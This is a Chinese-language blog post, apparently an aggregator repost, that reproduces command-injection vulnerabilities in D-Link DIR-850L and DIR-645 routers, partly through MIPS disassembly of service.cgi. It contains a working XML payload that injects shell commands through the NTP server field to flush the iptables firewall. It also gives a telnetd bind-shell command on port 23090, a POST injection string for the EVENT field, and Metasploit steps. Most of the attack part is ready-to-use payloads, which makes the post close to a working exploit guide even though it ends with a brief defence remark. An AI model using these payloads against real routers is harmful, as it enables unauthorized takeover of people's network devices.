路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现

Posted h4lo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现相关的知识,希望对你有一定的参考价值。

前言

这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的。

漏洞分析

根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我们就可以进一步利用,达到命令执行的目的,进而 getshell。

php 源代码

代码如下:

技术图片

这里的 server 变量可控,导致在拼接时,我们可以闭合前面的命令参数,执行任意命令。

通过前一步的任意文件读取得到 admin 的密码之后,登录上去抓包,将认证过的 cookie 赋值给 uid

首先先访问 DEVICE.TIME 这个 service ,根据返回包的 xml 文件数据格式来构造命令注入的 payload。

技术图片

构造 xml 数据:

<postxml>
<module>
    <service>DEVICE.TIME</service>
    <device>
        <time>
            <ntp>
                <enable>1</enable>
                <period>604800</period>
                <server>metelesku; (iptables -F;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT; ) &amp; exit;</server>
            </ntp>
            <ntp6>
                <enable>1</enable>
                <period>604800</period>
            </ntp6>
            <timezone>61</timezone>
            <time></time>
            <date></date>
            <dst>0</dst>
            <dstmanual></dstmanual>
            <dstoffset></dstoffset>
        </time>
    </device>
</module>
</postxml>

这里的 payload 将目标服务器的 iptables 防火墙关闭,并在 23090 端口开启 telnet 服务

技术图片

  • 这里的变量 $enable$enablev6 都设置为 1,就执行了第一个分支。

之后,按照这篇文章的思路,为了使得设置加载的服务生效,还要向 pigwidgeon.cgi 发送激活请求。

技术图片

返回 OK 则表示已经激活成功。

这时可以再请求一下 DEVICE.TIME 查看结果,发现这里已经成功将 payload 写入 service 变量

技术图片

漏洞利用

按照一般思路,拿到了远程 RCE 之后,可以在目标机器上开启 telnetd 服务,进行 shell 的登录。

开启 telnetd 服务

telnetdbusybox 程序中集成的一个服务,所以在嵌入式设备中一般都可以进行开启。

telnetd -p 23090 -l /bin/sh

在上面的 xml 数据里的括号中,加入上面的代码,就可以在 23090 端口开启一个 telnet 服务,-l 参数表示在登录上 telnet 服务之后就执行 /bin/sh 程序,即反弹一个 busybox 的 shell。

和上面的流程一样,先后访问 hedwig.cgi 发送 xml 数据和 pigwidgeon.cgi 激活服务之后,就可以在本地尝试连接

技术图片

图上表明正常获取了目标 busybox 的 shell。

使用 metasploit 反弹 shell

在 metasploit 上集成了一个 DIR-850l 的命令执行的 exp,所以这里直接使用工具来 getshell 也是一个方法。

exploit/linux/http/dlink_dir850l_unauth_exec

在 exploit-db 上的位置

这里笔者在 vps (ubuntu 14.04) 上装了一个 msf,安装方法也很简单:

sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

安装好后打开 msf, use exploit 设置好参数就行了。

技术图片

这样就反弹了一个 busybox 的 shell。

技术图片

DIR-645 命令执行

在 dir-645 固件版本 1.02 中的 service.cgi 中存在一处命令注入,可以通过闭合前面的命令,注入恶意数据,达到执行任意命令的效果。

固件下载地址:

ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.02.ZIP

service.cgi 分析

同样的,把固件解压后使用 binwalk 提取出文件系统。将 htdocs/cgibin 载入 IDA 中,找到处理 service.cgi 代码逻辑部分,也就是 servicecgi_main 这个函数处。

技术图片

接下来一步步分析函数的功能,首先使用 getenv 函数获取 http 请求方法,若为 POST 请求,则执行右边的分支。

使用 cgibin_parse_request 函数解析 content-length 和 content-type 头字段之后,经过 sess_ispoweruser 函数判断用户是否已经登录。

之后获取 POST 表单字段,若字段名为 EVENT 的话,就将 "event %s > /dev/null" 作为参数执行 lxmldbc_system 函数。

.text:0040CF58
.text:0040CF58                 loc_40CF58:
.text:0040CF58                 lui     $a0, 0x42
.text:0040CF5C                 jal     sub_40CD50
.text:0040CF60                 la      $a0, aEvent      # "EVENT"
.text:0040CF64                 la      $a0, aAction     # "ACTION"
.text:0040CF6C                 jal     sub_40CD50
.text:0040CF70                 move    $s2, $v0         # 注意这里的 v0 是 sub_40CD50("EVENT") 的返回值
.text:0040CF74                 la      $a0, aService    # "SERVICE"
.text:0040CF7C                 jal     sub_40CD50
.text:0040CF80                 move    $s0, $v0
.text:0040CF84                 lw      $gp, 0x130+var_120($sp)
.text:0040CF88                 beqz    $s2, loc_40CFA4
.text:0040CF8C                 move    $s1, $v0
.text:0040CF90                 lui     $a0, 0x42
.text:0040CF94                 la      $t9, lxmldbc_system
.text:0040CF98                 la      $a0, aEventSDevNull  # "event %s > /dev/null"
  • 注意 mips 的流水线效应。

lxmldbc_system 函数中调用了 system 函数,跟进分析一下

开头先执行了 vsnprintf 函数,格式化字符串到栈上 ($sp+0x428+var_40C)

vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",input_arg)

vsnprintf 函数的解释:

函数原型:int vsnprintf(char str, size_t size, const char format,va_list ap);
函数说明:将可变参数格式化输出到一个字符数组
参数:str输出到的数组,size指定大小,防止越界,format格式化参数,ap可变参数列表函数用法

这个函数和 snprintf 函数就差了一个可变参数 va_list ,这里分析的话直接忽略就好了。

接着调用 system 函数,这里的 $s0 = $sp+0x428+var_40C 可以看到这里直接将刚才格式化过的字符串传入 system 作为他的参数。

.text:004133E4                 la      $t9, system
.text:004133E8                 nop
.text:004133EC                 jalr    $t9 ; system
.text:004133F0                 move    $a0, $s0         # command

也就是执行了 system("event %s > /dev/null"),显然这里我们可以用分隔符 (;、|、&、%0a) 来截断前面的命令,进行命令注入,达到执行任意命令的效果。

所以在这里我们只需要提交类似于 EVENT=;uname -a%26 的 POST 数据就行了。

  • 前面的分号换成 | 和 & 都可以正常注入,后面只能为 & 。

system 函数执行是有回显的,所以这里可以直接在返回包中看到执行的结果。

  • 这里构造 SERVICE 字段也行,只不过需要再加上 ACTION 字段配合使用才行。

技术图片

总结

DIR-850L 和 DIR-645 的命令注入漏洞都是由于在拼接参数时没有进行过滤,直接执行 system 函数,因此防御手段就只需要在拼接参数时进行相应的过滤即可。

参考文章

https://www.freebuf.com/articles/terminal/164680.html

以上是关于路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

漏洞挖掘之命令注入漏洞

路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析

2020/1/28 PHP代码审计之命令执行漏洞

逻辑漏洞挖掘入门之 简单的任意账户密码重置

九漏洞挖掘与代码审计命令执行漏洞原理

第12阶段 SRC安全应急响应中心漏洞挖掘视频教程第七期课程 9.代码执行和命令执行漏洞基础与SRC挖掘经验